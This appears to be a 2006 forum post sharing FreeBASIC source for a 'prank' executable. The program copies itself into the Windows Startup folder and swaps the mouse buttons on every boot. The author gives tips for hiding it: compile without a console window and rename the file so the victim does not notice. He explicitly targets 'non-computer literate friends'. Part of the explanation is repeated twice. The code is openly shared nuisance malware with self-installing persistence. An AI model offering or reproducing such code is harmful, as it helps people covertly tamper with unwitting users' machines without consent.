05-08-2006, 06:26 AM
Here's a modifiable .exe that swaps the mouse on windows each time it starts up.
Compile with -s gui for stealth (after a restart is done. The first time the program runs the stupid shell pops up)
Also, this program finds the exe path automatically, meaning, you can CHANGE THE EXE NAME and still have this work! This makes the program a *great* prank!
Well I hope you have fun screwing with your non-computer literate friends! See ya.
First: The program checks if it already exists.
Second: If it does exist, it swaps the mouse, if not, it copies itself into the auto-start directory on Windows.
This prevents it from trying to copy onto itself, and keeps it stealthy on windows startup.
Compile with -s gui for stealth (after a restart is done. The first time the program runs the stupid shell pops up)
Also, this program finds the exe path automatically, meaning, you can CHANGE THE EXE NAME and still have this work! This makes the program a *great* prank!
Well I hope you have fun screwing with your non-computer literate friends! See ya.
Code:
#include once "windows.bi"
#Include "crt.bi"
function exist(byval filename as string)
return len(dir(filename))
end function
if exist("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" + dir(command(0))) then
SwapMouseButton(1)
else
Shell "Copy " + dir(command(0)) + " ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"""
end if
First: The program checks if it already exists.
Second: If it does exist, it swaps the mouse, if not, it copies itself into the auto-start directory on Windows.
This prevents it from trying to copy onto itself, and keeps it stealthy on windows startup.